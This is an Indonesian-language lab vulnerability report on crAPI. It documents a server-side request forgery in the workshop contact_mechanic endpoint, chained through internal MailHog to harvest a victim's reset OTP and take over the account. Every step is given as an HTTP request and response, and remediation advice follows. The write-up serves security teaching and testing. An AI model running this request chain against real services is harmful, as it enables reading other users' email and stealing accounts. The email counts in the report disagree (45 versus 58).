Kembali ke indeks

LAB FAIL

Server-Side Request Forgery - Workshop - Contact Mechanic

Server-Side Request Forgery — Workshop — Contact Mechanic

CWE-918: Server-Side Request Forgery (SSRF) · OWASP API7:2023 - Server Side Request Forgery

Kerentanan

[FAIL] Server-Side Request Forgery - Workshop - Contact Mechanic

Deskripsi

Endpoint contact_mechanic menerima URL penuh pada parameter mechanic_api dan melakukan permintaan HTTP server-side ke URL tersebut lalu memantulkan responsnya. Penyerang dapat mengarahkannya ke layanan INTERNAL yang tidak terekspos ke publik. Dieskalasi: SSRF diarahkan ke server email internal MailHog (mailhog:8025) untuk membaca email seluruh pengguna, memanen OTP reset-password korban, lalu mereset password korban -> Account Takeover.

Dampak

Confidentiality + Integrity (Critical): SSRF membaca seluruh inbox email internal (mailhog, 45 email) termasuk OTP/token reset milik pengguna lain, kemudian dipakai untuk mengambil alih akun korban tanpa mengetahui kredensialnya. Berlaku untuk akun mana pun yang emailnya diketahui.

CWE

CWE-918: Server-Side Request Forgery (SSRF)

OWASP

API7:2023 - Server Side Request Forgery

Skenario

Normal: mechanic_api menunjuk endpoint mekanik yang wajar. Eksploitasi (chain): SSRF -> MailHog internal -> baca email korban -> panen OTP -> reset password korban -> login sebagai korban (ATO). Hasil akhir menampakkan CIA (Confidentiality + Integrity).

Endpoint

POST http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic

Fitur terdampak

Contact Mechanic / integrasi mechanic API (crapi-workshop)

Rekomendasi perbaikan

- Jangan terima URL penuh dari klien; gunakan allow-list host/endpoint mekanik sah. - Blokir skema & rentang IP/host internal (loopback, RFC1918, nama service internal seperti mailhog/crapi-identity). - Jangan pantulkan respons upstream mentah ke klien. - Segmentasi jaringan: layanan internal (MailHog, actuator) tidak boleh terjangkau dari service yang menerima input URL.

Bukti konsep

  1. (Screenshot 1) NORMAL: contact_mechanic dengan mechanic_api endpoint mekanik wajar -> server fetch server-side.
  2. (Screenshot 2) EKSPLOITASI: mechanic_api = http://mailhog:8025/api/v2/messages -> SSRF membaca SELURUH inbox internal (45 email semua user).
  3. (Screenshot 3) PANEN: mechanic_api = http://mailhog:8025/api/v2/search?kind=to&query=[REDACTED-EMAIL] -> membaca email OTP korban, OTP 4-digit ter-panen.
  4. (Screenshot 4) CHAIN: OTP hasil panen dikirim ke /identity/api/auth/v3/check-otp -> 'OTP verified', password korban di-reset.
  5. (Screenshot 5) DAMPAK CIA: login sebagai korban dengan password baru -> token diterbitkan -> Account Takeover.

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

Normal: panggil API mekanik

Normal: workshop memanggil API mekanik dari server, lalu mengembalikan response API tersebut kepada pemanggil.

HTTP request
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

{"mechanic_code": "TRAC_JHN", "problem_details": "mobil rusak", "mechanic_api": "http://127.0.0.1:8888/workshop/api/mechanic/", "number_of_repeats": 1, "vin": "861P9NB3CL6ZEA9X1"}
HTTP response
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 270

{
  "response_from_mechanic_api": {
    "mechanics": [
      {
        "id": 1,
        "mechanic_code": "TRAC_JHN",
        "user": {
          "email": "[REDACTED-EMAIL]",
          "number": ""
        }
      },
      {
        "id": 2,
        "mechanic_code": "TRAC_JME",
        "user": {
          "email": "[REDACTED-EMAIL]",
          "number": ""
        }
      }
    ],
    "previous_offset": null,
    "next_offset": null
  },
  "status": 200
}
Normal: panggil API mekanik

Eksploitasi: akses MailHog internal melalui SSRF

Eksploitasi: arahkan mechanic_api ke MailHog internal (mailhog:8025). Rekaman menunjukkan akses ke seluruh isi kotak masuk email semua pengguna, meskipun layanan ini tidak dapat dijangkau dari luar.

HTTP request
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

{"mechanic_code": "TRAC_JHN", "problem_details": "mobil rusak", "mechanic_api": "http://mailhog:8025/api/v2/messages", "number_of_repeats": 1, "vin": "861P9NB3CL6ZEA9X1"}
HTTP response
HTTP 200

{
  "response_from_mechanic_api": {
    "total": 58,
    "count": 50,
    "items_shown": [
      {
        "To": "[REDACTED-EMAIL]",
        "Subject": "crAPI OTP"
      },
      {
        "To": "[REDACTED-EMAIL]",
        "Subject": "Welcome to crAPI"
      }
    ]
  }
}

# CATATAN: MailHog internal (mailhog:8025) TIDAK terekspos ke luar; SSRF membaca SELURUH 58 email semua user.
Eksploitasi: akses MailHog internal melalui SSRF

Eksploitasi: ambil OTP korban

Eksploitasi: SSRF membaca email reset kata sandi korban di MailHog dan memperoleh OTP 4 digit (9899) tanpa akses ke akun korban.

HTTP request
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

{"mechanic_code": "TRAC_JHN", "problem_details": "mobil rusak", "mechanic_api": "http://mailhog:8025/api/v2/search?kind=to&query=[REDACTED-EMAIL]", "number_of_repeats": 1, "vin": "861P9NB3CL6ZEA9X1"}
HTTP response
HTTP 200

# Email OTP korban (Raw.Data) hasil SSRF ke MailHog:

Date: Tue, 29 Sep 2026 14:05:35 +0000 (UTC)
From: [REDACTED-EMAIL]
To: [REDACTED-EMAIL]
Message-ID: <1585033080.57.1790690735293@4f2ddf916d38>
Subject: crAPI OTP
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<table border='0' cellpadding='0' cellspacing='0' class='btn btn-primary'><tr><td align='center'><table border='0' cellpadding='0' cellspacing='0'><tr><td>Hi,</td><td> </td><td>Your one time generated otp is: 9899</td></tr></table></td></tr></table>
Eksploitasi: ambil OTP korban

Rangkaian serangan: reset kata sandi korban

Rangkaian serangan: gunakan OTP yang diperoleh melalui SSRF untuk mereset kata sandi korban. Rekaman mencatat response 'OTP verified' dan perubahan kata sandi korban oleh penyerang.

HTTP request
POST /identity/api/auth/v3/check-otp HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json

{"email":"[REDACTED-EMAIL]","otp":"9899","password":"[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 39

{
  "message": "OTP verified",
  "status": 200
}
Rangkaian serangan: reset kata sandi korban

Dampak: login mengonfirmasi pengambilalihan akun

Dampak: rekaman mencatat login yang berhasil sebagai korban dengan kata sandi baru, lalu token diterbitkan. Ini melengkapi rangkaian pengambilalihan akun yang tercatat dan berdampak pada kerahasiaan serta integritas.

HTTP request
POST /identity/api/auth/login HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json

{"email":"[REDACTED-EMAIL]","password":"[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 540

{
  "token": "[REDACTED-LAB-VALUE]",
  "type": "Bearer",
  "message": "Login successful",
  "mfaRequired": false
}
Dampak: login mengonfirmasi pengambilalihan akun

← Kasus sebelumnya: OTP Bruteforce Protection Bypass - Authentication - Password Reset Kasus berikutnya: Unauthenticated Order Access - Shop - Order Details →